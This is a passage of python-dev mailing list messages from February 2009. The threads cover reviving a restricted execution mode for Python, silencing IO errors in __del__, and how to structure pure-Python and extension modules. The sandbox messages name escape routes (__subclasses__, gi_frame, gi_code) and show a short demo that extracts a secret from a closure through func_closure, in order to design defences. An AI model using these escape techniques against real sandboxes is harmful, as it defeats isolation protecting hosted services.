In-Reply-To: <49A1B142.8030403@canterbury.ac.nz>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<49A1B142.8030403@canterbury.ac.nz>
Message-ID: <ca471dc20902221317k51b1fcc5h4fb7e3d04aee6232@mail.gmail.com>

On Sun, Feb 22, 2009 at 12:10 PM, Greg Ewing
<greg.ewing at canterbury.ac.nz> wrote:
>> Tav is interested in using this on app engine, which doesn't care
>> about segfaults -- the process is simply restarted, nobody gains
>> access to information they shouldn't have. App engine does care about
>> overwriting memory,
>
> That doesn't make sense -- how can something not care
> about segfaults, but care about memory overwriting?
> If something is capable of causing a segfault, you
> can't be sure it won't just corrupt memory in some
> way that doesn't segfault but causes some other
> problem.

To be more precise, we don't care about crashes caused by NULL pointer
dereferencing. Most of the demonstrated crashers work by causing a
NULL pointer dereference. Since that crashes immediately, there is no
possibility for a further exploit.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From tav at espians.com  Sun Feb 22 22:22:27 2009
From: tav at espians.com (tav)
Date: Sun, 22 Feb 2009 21:22:27 +0000
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
Message-ID: <eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>

Hey guys,

  benjamin> Even if this patch manages to plug all the holes in the
  benjamin> current Python, do we really want to commit our
  benjamin> selves to maintaining it through language evolution
  benjamin> which will surely introduce new subtle ways to
  benjamin> circumvent the guard?

If it would be helpful, I am happy to maintain this as Python evolves.

I've already been maintaining the PJE-inspired ctypes-based approach
and monkeypatches for various Python versions for a while now. See
secure.py, secure25.py, secure26.py and secure30.py in:

  http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util

Also, my plans for world domination depend on a secure Python, so I
have the necessary incentives ;p

  sameule> I don't have much time these days, for sure not
  samuele> until pycon us, to look at the proposed code.

Thanks in advance if/when you get the time for this Samuele!

  samuele> E provides and incorporate a lot of thinking
  samuele> around [snip]

The functions based approach I am taking is very much taken from E and
inspired by an insight that Ka-Ping Yee had on Python-Dev years ago.

See http://www.erights.org/elib/capability/ode/index.html for a direct
parallel to the approach I've taken...

  guido> For Tav's benefit, I think it would be good to at
  guido> least add "IsRestricted" checks to
  guido> __subclasses__(), gi_code and gi_frame --
  guido> that's a trivial patch and if he believes it's
  guido> enough he can create a sandbox on app engine
  guido> and invite people to try to break out of it... If
  guido> someone succeeds....

If someone succeeds...

...My missus might end up leaving me on account of so much crying ;p

Seriously though, it's a relatively risk-free approach. The only
person who stands to lose out is me if I'm wrong =)

In the worst case scenario, this approach would help identify other
"leak" attributes/methods -- which I'm hoping won't be found.

And, in an ideal scenario, we'd have the basis for secure Python
interpreter/programming... which, together with PyPy's sandboxed
interpreter, would seriously rock!

-- 
enthusiastically, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From guido at python.org  Sun Feb 22 22:25:16 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 13:25:16 -0800
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
In-Reply-To: <loom.20090222T191832-812@post.gmane.org>
References: <loom.20090222T185801-341@post.gmane.org>
	<ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>
	<loom.20090222T191832-812@post.gmane.org>
Message-ID: <ca471dc20902221325g33b4b937rfa58aadfb6ab2bfe@mail.gmail.com>

On Sun, Feb 22, 2009 at 11:32 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Guido van Rossum <guido <at> python.org> writes:
>> OTOH the is a much larger category of false positives, where a close()
>> call raise an exception for some spurious reason (see the quoted
>> comment) but no harm is done; in the past the tracebacks printed for
>> __del__ by default have caused nothing but confuse users (who think
>> something is seriously wrong but have no way to debug it).
>>
>> The svn history of those lines may have more pointers.
>
> Well this code dates back to the first checkin in the py3k branch. Apparently
> the old p3yk branch is not there anymore...

OK, then we'll just have to understand the big comment in the code.

> I understand the missing globals on shutdown problem, but the error may also be
> a legitimate programming error, where a close() implementation fails for
> whatever reason. At least displaying the error may encourage the programmer to
> strengthen his implementation.
>
> How about the following compromise:
>
>    try:
>        closed = self.closed
>    except:
>        # Object is in an unusable state, don't attempt anything
>        pass
>    else:
>        if not closed:
>            self.close()

No. Trust me. It is not always possible to strengthen the
implementation. (At least not until we get rid of the "replace all
globals with None upon module deletion" rule.) Your "legitimate
programming error" is purely hypothetical, while the unactionable,
confusing traceback caused by missing globals is real. If people want
an exception from close() they can call it explicitly or use a context
manager. When a file is closed implicitly by __del__, there is a
chance of an impossible-to-avoid spurious traceback. I have dealt with
such tracebacks in real life and there is nothing that can be done
about them except ignore them. If you don't ignore them, users living
1000s of miles away and years later than the original programmer will
be upset by spurious tracebacks that worry them to death.

If you want to ensure buffers are flushed, why not call self.flush()
for writable files outside the try/except? If flush() fails it *is* a
real problem.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From rbp at isnomore.net  Sun Feb 22 22:43:55 2009
From: rbp at isnomore.net (Rodrigo Bernardo Pimentel)
Date: Sun, 22 Feb 2009 18:43:55 -0300
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
	<200902121434.17723.victor.stinner@haypocalc.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
Message-ID: <20090222214355.GA12541@isnomore.net>

[Sorry for stepping in so late]

On Thu, Feb 12 2009 at 02:05:23PM BRST, "Daniel (ajax) Diniz" <ajaksu at gmail.com> wrote:
> Victor Stinner wrote:
> > Oh, I realized that there is a component called "Unicode". So it should be
> > possible to write a request to list all issues related to unicode.
> 
> Nice, I'll add set this component for issues that don't have it. I can
> still add people to these issues, if they want.

I think this one might be considered a Unicode issue:

http://bugs.python.org/issue1293741 "doctest runner cannot handle non-ascii
characters"


	rbp

From brett at python.org  Sun Feb 22 22:54:25 2009
From: brett at python.org (Brett Cannon)
Date: Sun, 22 Feb 2009 13:54:25 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <20090222041232.GA25580@panix.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
	<20090222041232.GA25580@panix.com>
Message-ID: <bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>

On Sat, Feb 21, 2009 at 20:12, Aahz <aahz at pythoncraft.com> wrote:

> On Sat, Feb 21, 2009, Brett Cannon wrote:
> > On Sat, Feb 21, 2009 at 15:46, Aahz <aahz at pythoncraft.com> wrote:
> >> On Sat, Feb 21, 2009, Brett Cannon wrote:
> >>>
> >>> I am seeing two approaches emerging. One is where pickle contains all
> >>> Python code and then uses something like use_extension to make sure
> >>> the original Python objects are still reachable at some point. This
> >>> has the drawback that you have to use some function to make the
> >>> extensions happen and there is some extra object storage.
> >>>
> >>> The other approach is having pickle contain code known not to
> >>> be overridden by anyone, import _pypickle for stuff that may be
> >>> overridden, and then import _pickle for whatever is available. This
> >>> approach has the perk of using a standard practice for how to pull in
> >>> different implementation. But the drawback, thanks to how globals are
> >>> bound, is that any code pulled in from _pickle/_pypickle will not be
> >>> able to call into other optimized code; it's a take or leave it once
> >>> the call chain enters one of those modules as they will always call
> >>> the implementations in the module they originate from.
> >>
> >> To what extent do we care about being able to select Python-only on a
> >> per-module basis, particularly in the face of threaded imports?  That
> is,
> >> we could have a sys.python_only attribute that gets checked on import.
> >> That's simple and direct, and even allows per-module switching if the
> >> application really cares and import doesn't need to worry about threads.
> >>
> >> Alternatively, sys.python_only could be a set, but that gets ugly about
> >> setting from the application.  (The module checks to see whether it's
> >> listed in sys.python_only.)
> >>
> >> Maybe we should move this discussion to python-ideas for now to kick
> >> around really oddball suggestions?
> >
> > This is all about testing. If a change is made to some extension code it
> > should be mirrored in the Python code and vice-versa.
>
> Okay, I don't see how that is a response to my suggestion -- I can
> imagine that someone might want to test a combination of pure-Python and
> binary libraries.
>

I don't want to move it because this isn't some idea for a new feature that
may or may not be useful; this isn't an "idea", it's needed.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090222/9fc3e277/attachment.htm>

From martin at v.loewis.de  Sun Feb 22 23:15:41 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 22 Feb 2009 23:15:41 +0100
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
Message-ID: <49A1CE8D.9000508@v.loewis.de>

> I've already been maintaining the PJE-inspired ctypes-based approach
> and monkeypatches for various Python versions for a while now. See
> secure.py, secure25.py, secure26.py and secure30.py in:
> 
>   http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util

What is the objective of this code? Is it a complete sandbox?
If not, is a complete sandbox based on it available somehow for
review?

Regards,
Martin

From brett at python.org  Sun Feb 22 23:28:37 2009
From: brett at python.org (Brett Cannon)
Date: Sun, 22 Feb 2009 14:28:37 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <49A19977.7020305@voidspace.org.uk>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
	<eae285400902201231y1b5cb0b3o7ac2a5216653178@mail.gmail.com>
	<bbaeab100902201237w257f2d82m5dc5d7c8c06ee909@mail.gmail.com>
	<bbaeab100902201245l2851e48as1f401751294a6bff@mail.gmail.com>
	<20090220205329.GA9829@panix.com>
	<bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<d11dcfba0902221016p1a45718cgb901585c6ad30c3b@mail.gmail.com>
	<49A19977.7020305@voidspace.org.uk>
Message-ID: <bbaeab100902221428k293923eds54e8ad713f1dba8a@mail.gmail.com>

On Sun, Feb 22, 2009 at 10:29, Michael Foord <fuzzyman at voidspace.org.uk>wrote:

> Steven Bethard wrote:
>
>> On Fri, Feb 20, 2009 at 1:45 PM, Brett Cannon <brett at python.org> wrote:
>>
>>
>>> But there is another issue with this: the pure Python code will never
>>> call
>>> the extension code because the globals will be bound to _pypickle and not
>>> _pickle. So if you have something like::
>>>
>>>  # _pypickle
>>>  def A(): return _B()
>>>  def _B(): return -13
>>>
>>>  # _pickle
>>>  def _B(): return 42
>>>
>>>  # pickle
>>>  from _pypickle import *
>>>  try: from _pickle import *
>>>  except ImportError: pass
>>>
>>> If you import pickle and call pickle.A() you will get -13 which is not
>>> what
>>> you are after.
>>>
>>>
>>
>> Maybe I've missed this and someone else already suggested it, but
>> couldn't we provide a (probably C-coded) function
>> ``replace_globals(module, globals)`` that would, say, replace the
>> globals in _pypickle with the globals in pickle? Then you could write
>> something like::
>>
>>    from _pypickle import *
>>    try:
>>        from _pickle import *
>>        module = __import__('_pickle')
>>    except ImportError:
>>        module = __import__('_pypickle')
>>    replace_globals(module, globals())
>>
>> Steve
>>
>>
>
> Swapping out module globals seems to be a backwards way to do things to me.


I agree; I would rather muck with sys.modules at that point.

Why not have one set of tests that test the low level APIs (identical tests
> whether they are written in C or Python) - and as they live in their own
> module are easy to test in isolation. And then a separate set of tests for
> the higher level APIs, which can even mock out the low level APIs they use.
> There shouldn't be any need for switching out objects in the scope of the
> lower level APIs - that seems like a design smell to me.


 That's possible. As I have said, my only worry with the separate
py/extension module approach is that any time someone wants to do an
extension version of something the Python code will need to be moved.

But at this point I am honestly burning out on this topic (got a lot on my
plate right now) so I am going to let somebody else lead this to the finish
line.  =)

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090222/7b79dcc8/attachment.htm>

From solipsis at pitrou.net  Sun Feb 22 23:46:41 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 22 Feb 2009 22:46:41 +0000 (UTC)
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
References: <loom.20090222T185801-341@post.gmane.org>
	<ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>
	<loom.20090222T191832-812@post.gmane.org>
	<ca471dc20902221325g33b4b937rfa58aadfb6ab2bfe@mail.gmail.com>
Message-ID: <loom.20090222T224347-968@post.gmane.org>

Guido van Rossum <guido <at> python.org> writes:
> 
> If you want to ensure buffers are flushed, why not call self.flush()
> for writable files outside the try/except? If flush() fails it *is* a
> real problem.

Well, my concern is less about flushing writable files (they will be
implemented in C and the flushing will probably be ok) than Python-written 
file-like types, like SocketIO or any third-party class.

Anyway, let's keep silencing exceptions and we'll see if anyone complains
about it.

Regards

Antoine.



From ajaksu at gmail.com  Mon Feb 23 01:51:17 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Sun, 22 Feb 2009 21:51:17 -0300
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
In-Reply-To: <loom.20090222T191832-812@post.gmane.org>
References: <loom.20090222T185801-341@post.gmane.org>
	<ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>
	<loom.20090222T191832-812@post.gmane.org>
Message-ID: <2d75d7660902221651r4f4206e4o68babcb3bf1f3ae5@mail.gmail.com>

Antoine Pitrou wrote:
> Guido van Rossum <guido <at> python.org> writes:
>> The svn history of those lines may have more pointers.
>
> Well this code dates back to the first checkin in the py3k branch. Apparently
> the old p3yk branch is not there anymore...

The history is available (see below), but tells nothing that would be
useful/relevant.

Daniel


History of io.py is available on ViewVC:
http://svn.python.org/view/python/branches/p3yk/Lib/io.py?view=log&pathrev=56853

It's possible to checkout that as a peg revision:
svn  co -r54910 http://svn.python.org/projects/python/branches/p3yk/Lib/@r54910

Then, svn blame tells where it comes from:
 54728 guido.van.rossum     def __del__(self) -> None:
 54728 guido.van.rossum         """Destructor.  Calls close()."""
 54728 guido.van.rossum         # The try/except block is in case this
is called at program
 54728 guido.van.rossum         # exit time, when it's possible that
globals have already been
 54728 guido.van.rossum         # deleted, and then the close() call
might fail.  Since
 54728 guido.van.rossum         # there's nothing we can do about such
failures and they annoy
 54728 guido.van.rossum         # the end users, we suppress the traceback.
 54728 guido.van.rossum         try:
 54728 guido.van.rossum             self.close()
 54728 guido.van.rossum         except:
 54728 guido.van.rossum             pass

And here's the log for that rev:
http://svn.python.org/view?view=rev&revision=54728

From krstic at solarsail.hcs.harvard.edu  Mon Feb 23 03:09:19 2009
From: krstic at solarsail.hcs.harvard.edu (=?UTF-8?Q?Ivan_Krsti=C4=87?=)
Date: Sun, 22 Feb 2009 21:09:19 -0500
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <49A1CE8D.9000508@v.loewis.de>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
Message-ID: <5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu>

On Feb 22, 2009, at 5:15 PM, Martin v. L?wis wrote:
> What is the objective of this code? Is it a complete sandbox?
> If not, is a complete sandbox based on it available somehow for
> review?

 From a cursory look at Tav's CPython patch, I'd describe it as follows:

     Requires: an existing Python code execution environment
               which does not expose unsafe interpreter
               functionality to the (untrusted) code it runs,

     Provides: a way for the trusted code outside of that
               restricted environment to wrap functions
               (which may reference trusted objects) in
               closures which can be passed into the restricted
               environment as completely opaque objects
               whose internal state (including any referenced
               trusted objects) cannot be accessed from the
               untrusted code.

When I say 'requires', I mean 'requires to be useful'; the patch can  
be applied to vanilla CPython, but isn't useful on its own.

Building blocks for a restricted execution environment as required by  
the patch are commonly provided in templating libraries; Tav mentions  
Genshi in particular. By default, Genshi templates don't come with  
security built in -- you can do what you please in a template.  
However, since Genshi manually constructs a Python AST from Python  
code in the template, one can restrict the AST and modify the builtins  
exposed to the template environment, making things like filesystem  
access, import and other sensitive system facilities unavailable.

Even with those unavailable, untrusted code can break out of  
containment by accessing object.__subclasses__ or gaining access to  
gi_frame and gi_code. This means you can't, for instance, pass into  
the untrusted code a closure which operates on trusted objects. Tav's  
patch addresses this particular problem.

To give you a complete sandbox to play with, I just violently ripped  
out the relevant code from Genshi, added some glue, and slapped it all  
together in a single file along with Tav's pure-Python code which is  
functionally equivalent to the CPython patch he submitted. The result,  
tested on 2.5.1 and nothing else:

     <http://radian.org/~krstic/sandbox.py>

As is, sandbox allows you to execute untrusted Python code which won't  
have access to import, __import__, eval, exec, execfile, open, and to  
which you can pass closures which reference trusted objects which the  
untrusted code can't get at.

Example:

 >>> import sandbox
 >>> import sys
 >>> import md5
 >>> def trusted_pwd_closure(password):
...    def get_pwd():
...        return md5.md5(password).hexdigest()
...    return get_pwd
...
 >>> context = dict(pwd=trusted_pwd_closure('secret'))
 >>> sandbox.run_string("print pwd()", context)
 >>> sandbox.run_string("print pwd.func_closure[0].cell_contents",  
context)
[snip]
AttributeError: 'function' object has no attribute 'func_closure'

Without Tav's patch, the untrusted code can extract our password  
('secret') from the closure with that last statement.

To run whole files in the sandbox:
 >>> sandbox.run_file('/some/path/file.py')

Finally, disclaimer: I put this together in *15 minutes*. I'm sure I  
missed something, this isn't secure, etc. It's just a proof of  
concept. Void where prohibited, etc.

Cheers,

--
Ivan Krsti? <krstic at solarsail.hcs.harvard.edu> | http://radian.org


From MLMLists at Comcast.net  Mon Feb 23 02:58:47 2009
From: MLMLists at Comcast.net (Mitchell L Model)
Date: Sun, 22 Feb 2009 20:58:47 -0500
Subject: [Python-Dev] .pythonrc.py in man page
Message-ID: <p06240807c5c7b24769ba@[10.0.1.221]>

The python man page, dated 2005 even in 3.1, has this curious entry:

       ~/.pythonrc.py
               User-specific initialization file loaded by the user module; not
               used by default or by most applications.

1. I couldn't figure out what the user module is.

2. I couldn't figure out what "not used by default or by most 
applications" meant: what would cause it to get loaded when python 
starts up? how would an application load it even if the user's 
environment didn't cause it to get loaded?

3. Why would this file exist if the environment variable 
PYTHONSTARTUP can specify a file to be loaded at startup?

Perhaps this entry in the man page is obsolete and should be removed?


From guido at python.org  Mon Feb 23 03:25:46 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 18:25:46 -0800
Subject: [Python-Dev] .pythonrc.py in man page
In-Reply-To: <p06240807c5c7b24769ba@10.0.1.221>
References: <p06240807c5c7b24769ba@10.0.1.221>
Message-ID: <ca471dc20902221825v2202eea1w3553b57df7912a81@mail.gmail.com>

On Sun, Feb 22, 2009 at 5:58 PM, Mitchell L Model <MLMLists at comcast.net> wrote:
> The python man page, dated 2005 even in 3.1, has this curious entry:
>
>      ~/.pythonrc.py
>              User-specific initialization file loaded by the user module;
> not
>              used by default or by most applications.
>
> 1. I couldn't figure out what the user module is.

user.py.

> 2. I couldn't figure out what "not used by default or by most applications"
> meant: what would cause it to get loaded when python starts up? how would an
> application load it even if the user's environment didn't cause it to get
> loaded?

The docstring in user.py explains this.

> 3. Why would this file exist if the environment variable PYTHONSTARTUP can
> specify a file to be loaded at startup?

PYTHONSTARTUP is only used in interactive sessions.

> Perhaps this entry in the man page is obsolete and should be removed?

Not at all.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From daniel at stutzbachenterprises.com  Mon Feb 23 03:30:25 2009
From: daniel at stutzbachenterprises.com (Daniel Stutzbach)
Date: Sun, 22 Feb 2009 20:30:25 -0600
Subject: [Python-Dev] .pythonrc.py in man page
In-Reply-To: <ca471dc20902221825v2202eea1w3553b57df7912a81@mail.gmail.com>
References: <p06240807c5c7b24769ba@10.0.1.221>
	<ca471dc20902221825v2202eea1w3553b57df7912a81@mail.gmail.com>
Message-ID: <eae285400902221830s1e226a28rc82ef28bc0f8c061@mail.gmail.com>

On Sun, Feb 22, 2009 at 8:25 PM, Guido van Rossum <guido at python.org> wrote:

> > Perhaps this entry in the man page is obsolete and should be removed?
>
> Not at all.
>

For what it's worth, the 2.6.1 documentation states: "Deprecated since
version 2.6: The user module has been removed in Python 3.0."  If user.py
has indeed been removed, then Mitchell is correct.

http://docs.python.org/library/user.html

--
Daniel Stutzbach, Ph.D.
President, Stutzbach Enterprises, LLC <http://stutzbachenterprises.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090222/3951f21a/attachment.htm>

From guido at python.org  Mon Feb 23 03:43:50 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 18:43:50 -0800
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
	<5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu>
Message-ID: <ca471dc20902221843w5e27dc2o2c4f55b384f4d6fd@mail.gmail.com>

I'm not familiar with Genshi -- what is the purpose of the AST
transformation here?

Traditionally, sandboxing environments in Python usually just exec the
untrusted code in an environment with a __builtins__ dict that limits
the built-in functions and overrides __import__ so as to provide an
import implementation that allows import of pure-Python modules but
not extensions (or only allows certain extensions that have been
previously audited, or provides wrappers or subsets of selected
others).

--Guido

On Sun, Feb 22, 2009 at 6:09 PM, Ivan Krsti?
<krstic at solarsail.hcs.harvard.edu> wrote:
> On Feb 22, 2009, at 5:15 PM, Martin v. L?wis wrote:
>>
>> What is the objective of this code? Is it a complete sandbox?
>> If not, is a complete sandbox based on it available somehow for
>> review?
>
> From a cursory look at Tav's CPython patch, I'd describe it as follows:
>
>    Requires: an existing Python code execution environment
>              which does not expose unsafe interpreter
>              functionality to the (untrusted) code it runs,
>
>    Provides: a way for the trusted code outside of that
>              restricted environment to wrap functions
>              (which may reference trusted objects) in
>              closures which can be passed into the restricted
>              environment as completely opaque objects
>              whose internal state (including any referenced
>              trusted objects) cannot be accessed from the
>              untrusted code.
>
> When I say 'requires', I mean 'requires to be useful'; the patch can be
> applied to vanilla CPython, but isn't useful on its own.
>
> Building blocks for a restricted execution environment as required by the
> patch are commonly provided in templating libraries; Tav mentions Genshi in
> particular. By default, Genshi templates don't come with security built in
> -- you can do what you please in a template. However, since Genshi manually
> constructs a Python AST from Python code in the template, one can restrict
> the AST and modify the builtins exposed to the template environment, making
> things like filesystem access, import and other sensitive system facilities
> unavailable.
>
> Even with those unavailable, untrusted code can break out of containment by
> accessing object.__subclasses__ or gaining access to gi_frame and gi_code.
> This means you can't, for instance, pass into the untrusted code a closure
> which operates on trusted objects. Tav's patch addresses this particular
> problem.
>
> To give you a complete sandbox to play with, I just violently ripped out the
> relevant code from Genshi, added some glue, and slapped it all together in a
> single file along with Tav's pure-Python code which is functionally
> equivalent to the CPython patch he submitted. The result, tested on 2.5.1
> and nothing else:
>
>    <http://radian.org/~krstic/sandbox.py>
>
> As is, sandbox allows you to execute untrusted Python code which won't have
> access to import, __import__, eval, exec, execfile, open, and to which you
> can pass closures which reference trusted objects which the untrusted code
> can't get at.
>
> Example:
>
>>>> import sandbox
>>>> import sys
>>>> import md5
>>>> def trusted_pwd_closure(password):
> ...    def get_pwd():
> ...        return md5.md5(password).hexdigest()
> ...    return get_pwd
> ...
>>>> context = dict(pwd=trusted_pwd_closure('secret'))
>>>> sandbox.run_string("print pwd()", context)
>>>> sandbox.run_string("print pwd.func_closure[0].cell_contents", context)
> [snip]
> AttributeError: 'function' object has no attribute 'func_closure'
>
> Without Tav's patch, the untrusted code can extract our password ('secret')
> from the closure with that last statement.
>
> To run whole files in the sandbox:
>>>> sandbox.run_file('/some/path/file.py')
>
> Finally, disclaimer: I put this together in *15 minutes*. I'm sure I missed
> something, this isn't secure, etc. It's just a proof of concept. Void where
> prohibited, etc.
>
> Cheers,
>
> --
> Ivan Krsti? <krstic at solarsail.hcs.harvard.edu> | http://radian.org
>
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Mon Feb 23 03:45:27 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 18:45:27 -0800
Subject: [Python-Dev] .pythonrc.py in man page
In-Reply-To: <eae285400902221830s1e226a28rc82ef28bc0f8c061@mail.gmail.com>
References: <p06240807c5c7b24769ba@10.0.1.221>
	<ca471dc20902221825v2202eea1w3553b57df7912a81@mail.gmail.com>
	<eae285400902221830s1e226a28rc82ef28bc0f8c061@mail.gmail.com>
Message-ID: <ca471dc20902221845i51a78569q7f748b510c594f77@mail.gmail.com>

On Sun, Feb 22, 2009 at 6:30 PM, Daniel Stutzbach
<daniel at stutzbachenterprises.com> wrote:
> On Sun, Feb 22, 2009 at 8:25 PM, Guido van Rossum <guido at python.org> wrote:
>>
>> > Perhaps this entry in the man page is obsolete and should be removed?
>>
>> Not at all.
>
> For what it's worth, the 2.6.1 documentation states: "Deprecated since
> version 2.6: The user module has been removed in Python 3.0."  If user.py
> has indeed been removed, then Mitchell is correct.
>
> http://docs.python.org/library/user.html

Fair enough. I missed the 3.x context. Go ahead and fix the man page!

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From krstic at solarsail.hcs.harvard.edu  Mon Feb 23 04:28:21 2009
From: krstic at solarsail.hcs.harvard.edu (=?ISO-8859-2?Q?Ivan_Krsti=E6?=)
Date: Sun, 22 Feb 2009 22:28:21 -0500
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902221843w5e27dc2o2c4f55b384f4d6fd@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
	<5830A981-8BAB-4C57-8290-CD1E9171A0B6@solarsail.hcs.harvard.edu>
	<ca471dc20902221843w5e27dc2o2c4f55b384f4d6fd@mail.gmail.com>
Message-ID: <152D341F-2B44-45E5-BE42-F15179C1C2B5@solarsail.hcs.harvard.edu>

On Feb 22, 2009, at 9:43 PM, Guido van Rossum wrote:
> I'm not familiar with Genshi -- what is the purpose of the AST
> transformation here?

Sorry, I should have been clearer. If the only goal is to provide a  
restricted bare interpreter, you can certainly just exec with a  
restricted set of builtins and no __import__. Since Tav mentioned  
wanting restricted execution of Genshi templates in particular (which  
have a rather complicated mechanism for executing inline Python code),  
I threw together a realistic, self-contained 'restricting Genshi' demo  
which doesn't rely on outside restrictions, such as those provided by  
GAE.

You can ignore the AST stuff; Genshi does it for its own (non- 
security) purposes.

--
Ivan Krsti? <krstic at solarsail.hcs.harvard.edu> | http://radian.org


From pje at telecommunity.com  Mon Feb 23 04:39:59 2009
From: pje at telecommunity.com (P.J. Eby)
Date: Sun, 22 Feb 2009 22:39:59 -0500
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.co
 m>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
Message-ID: <20090223033749.6C7743A4075@sparrow.telecommunity.com>

At 08:45 AM 2/22/2009 -0800, Guido van Rossum wrote:
>I've received some enthusiastic emails from someone who wants to
>revive restricted mode. He started out with a bunch of patches to the
>CPython runtime using ctypes, which he attached to an App Engine bug:
>
>http://code.google.com/p/googleappengine/issues/detail?id=671
>
>Based on his code (the file secure.py is all you need, included in
>secure.tar.gz) it seems he believes the only security leaks are
>__subclasses__, gi_frame and gi_code. (I have since convinced him that
>if we add "restricted" guards to these attributes, he doesn't need the
>functions added to sys.)
>
>I don't recall the exploits that Samuele once posted that caused the
>death of rexec.py -- does anyone recall, or have a pointer to the
>threads?

Just a question, but, if you just need a pure-python restricted 
